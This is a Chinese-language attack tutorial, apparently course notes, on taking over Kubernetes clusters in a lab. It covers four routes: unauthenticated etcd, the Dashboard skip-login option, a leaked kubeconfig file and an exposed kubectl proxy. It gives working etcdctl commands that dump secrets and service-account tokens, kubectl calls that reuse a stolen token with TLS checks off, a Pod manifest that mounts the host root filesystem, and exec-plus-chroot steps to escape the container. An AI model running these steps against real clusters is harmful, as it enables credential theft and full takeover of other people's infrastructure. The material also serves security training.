云上攻防-云原生篇Kubernetes集群Etcd数据库Dashboard面板Porxy暴漏Config泄露

知识点:1、云原生-K8s安全-etcd数据库未授权访问2、云原生-K8s安全-Dashboard面板未授权访问3、云原生-K8s安全-Configfile鉴权文件泄漏4、云原生-K8s安全-Kubectl Proxy不安全配置一、演示案例-云原生-K8s安全-etcd数据库-未授权访问默认端口2379攻击2379端口默认通过证书认证起一个数据库作用。主要存放节点的数据如一些token和证书。攻击方式暴露etcd未授权-获取secretstoken-通过token访问API-Server接管SSRF解决限制访问-获取secretstoken-通过token访问API-Server接管场景一堆叠式 etcdetcd 部署在 Master 节点上一台服务器K8s-master/etcd 192.168.139.130配置文件/etc/kubernetes/manifests/etcd.yaml前置条件在安装etcd时没有配置指定--client-cert-auth 参数打开证书校验暴露在外Etcd服务存在未授权访问风险。 -暴露外部可以访问直接未授权访问获取secrets和token利用重启kubelet进程systemctl restart kubelet实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1)如果访问没设置0.0.0.0暴露并设置http协议那么也就意味着最多就是本地访问不能公网访问只能配合ssrf或其他。 -只能本地访问利用ssrf或其他进行获取secrets和token利用复现参考https://www.cnblogs.com/qtzd/p/k8s_etcd.htmletcdV2版本利用直接访问http://ip:2379/v2/keys/?recursivetrue可以看到所有的key-value值。secrets tokenetcdV3版本利用安装etcdctlhttps://github.com/etcd-io/etcd/releases安装kubectlhttps://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux1、连接提交测试./etcdctl--endpoints192.168.139.130:2379 get /--prefix./etcdctl--endpoints192.168.139.130:2379 put /testdir/testkey1Hello world1./etcdctl --endpoints192.168.139.130:2379 put /testdir/testkey2Hello world2./etcdctl --endpoints192.168.139.130:2379 put /testdir/testkey3Hello world32、获取k8s的secrets./etcdctl--endpoints192.168.139.130:2379 get /--prefix--keys-only|grep/secrets/3、读取service account token./etcdctl--endpoints192.168.139.130:2379 get /--prefix--keys-only|grep/secrets/kube-system/clusterrole./etcdctl--endpoints192.168.139.130:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z4、通过token访问API-Server获取集群的权限kubectl --insecure-skip-tls-verify-shttps://127.0.0.1:6443/--tokeney...-nkube-system get pods场景二外部 etcdetcd 部署在独立节点上一个集群包含三个节点其中包括一个控制节点和两个工作节点和一个数据库节点K8s-master192.168.139.130 K8s-node1192.168.139.131 K8s-node2192.168.139.132 k8s-etcd192.168.139.136二、演示案例-云原生-K8s安全-Dashboard(Master-web面板)未授权访问默认端口8001(一般会被映射成别的端口)配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。 kubernetes dashboard的未授权其实分两种情况 一种是在本身就存在着不需要登录的http接口但接口本身并不会暴露出来如接口被暴露在外就会导致dashboard未授权。 另外一种情况则是开发嫌登录麻烦修改了配置文件使得安全接口https的dashboard页面可以跳过登录。攻击方式找到暴露面板-dashboard跳过-创建或上传pod-进入pod执行-利用挂载逃逸前提条件用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard Kubernetes-dashboard绑定cluster-admin拥有管理集群的最高权限1、安装https://blog.csdn.net/justlpf/article/details/1307187742、启动kubectl create-frecommended.yaml3、卸载kubectl delete-frecommended.yaml4、查看状态kubectl get pod,svc-nkubernetes-dashboard5、利用新增Pod后续同前面利用一致apiVersion: v1 kind: Pod metadata: name: xiaodisec spec: containers: - image: nginx name: xiaodisec volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /三、演示案例-云原生-K8s安全-Configfile鉴权文件泄漏攻击者通过Webshell、Github等拿到了K8s配置的Config文件操作集群从而接管所有容器。 K8s configfile作为K8s集群的管理凭证其中包含有关K8s集群的详细信息(API Server、登录凭证)。 如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)就可以直接通过API Server接管K8s集群带来风险隐患。用户凭证保存 在kubeconfig文件中通过以下顺序来找到kubeconfig文件 -如果提供了--kubeconfig参数就使用提供的kubeconfig文件 -如果没有提供--kubeconfig参数但设置了环境变量$KUBECONFIG则使用该环境变量提供的kubeconfig文件 -如果以上两种情况都没有kubectl就使用默认的kubeconfig文件~/.kube/config攻击方式K8s-configfile-创建Pod/挂载主机路径-Kubectl进入容器-利用挂载逃逸1、将获取到的config文件复制kubectl工具目录下2、安装kubectl使用config文件连接安装kubectlhttps://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux连接kubectl-shttps://192.168.139.130:6443/--kubeconfigconfig --insecure-skip-tls-verifytrue get nodes3、上传利用test.yaml创建podkubectl apply-ftest.yaml-ndefault--kubeconfigconfig4、连接pod后进行容器挂载逃逸kubectlexec-itxiaodisecbash-ndefault--kubeconfigconfigcd/mntchroot.bash四、演示案例-云原生-K8s安全-Kubectl Proxy不安全配置当运维人员需要某个环境暴露端口或者IP时会用到Kubectl Proxy 使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上环境搭建kubectl --insecure-skip-tls-verify proxy --accept-hosts^.*$--address0.0.0.0--port8009攻击利用类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。 后续就是用API server未授权访问进行攻击了kubectl-shttp://192.168.139.130:8009 get pods-nkube-system